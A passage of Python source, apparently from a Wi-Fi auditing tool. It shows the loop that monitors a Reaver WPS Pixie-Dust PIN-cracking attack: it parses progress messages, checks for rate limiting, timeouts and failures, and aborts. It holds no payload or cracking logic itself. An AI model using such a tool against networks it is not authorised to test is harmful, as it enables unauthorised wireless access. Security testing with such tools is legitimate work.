                step = '({C}step 2/8{W}) waiting to start session'
            elif 'Starting Cracking Session.' in stdout_last_line:
                step = '({C}step 3/8{W}) waiting to try pin'
            elif 'Trying pin' in stdout_last_line:
                step = '({C}step 4/8{W}) trying pin'
            elif 'Sending EAPOL START request' in stdout_last_line:
                step = '({C}step 5/8{W}) sending eapol start request'
            elif 'Sending identity response' in stdout_last_line:
                step = '({C}step 6/8{W}) sending identity response'
            elif 'Sending M2 message' in stdout_last_line:
                step = '({C}step 7/8{W}) sending m2 message (may take a while)'
            elif 'Detected AP rate limiting,' in stdout_last_line:
                if Configuration.wps_skip_rate_limit:
                    Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                    # TODO: Argument for --ignore-rate-limit
                    '''
                    Color.pl('{!} {O}use {R}--ignore-rate-limit{O} to ignore' +
                             ' this kind of failure in the future')
                    '''
                    break
                step = '({C}step -/8{W}) waiting for AP rate limit'

            if 'WPS pin not found' in stdout:
                Color.pl('{R}failed: {O}WPS pin not found{W}')
                break

            # TODO: Timeout check
            if reaver.running_time() > Configuration.wps_pixie_timeout:
                Color.pl('{R}failed: {O}timeout after %d seconds{W}' %
                         Configuration.wps_timeout)
                break

            # Reaver Failure/Timeout check
            fail_count = stdout.count('WPS transaction failed')
            if fail_count > Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures (%d){W}' %
                         fail_count)
                break
            timeout_count = stdout.count('Receive timeout occurred')
            if timeout_count > Configuration.wps_timeout_threshold:
                Color.pl('{R}failed: {O}too many timeouts (%d){W}' %
                         timeout_count)
                break

            # Display status of Pixie-Dust attack
            Color.p('{W}%s{W}' % step)

            continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False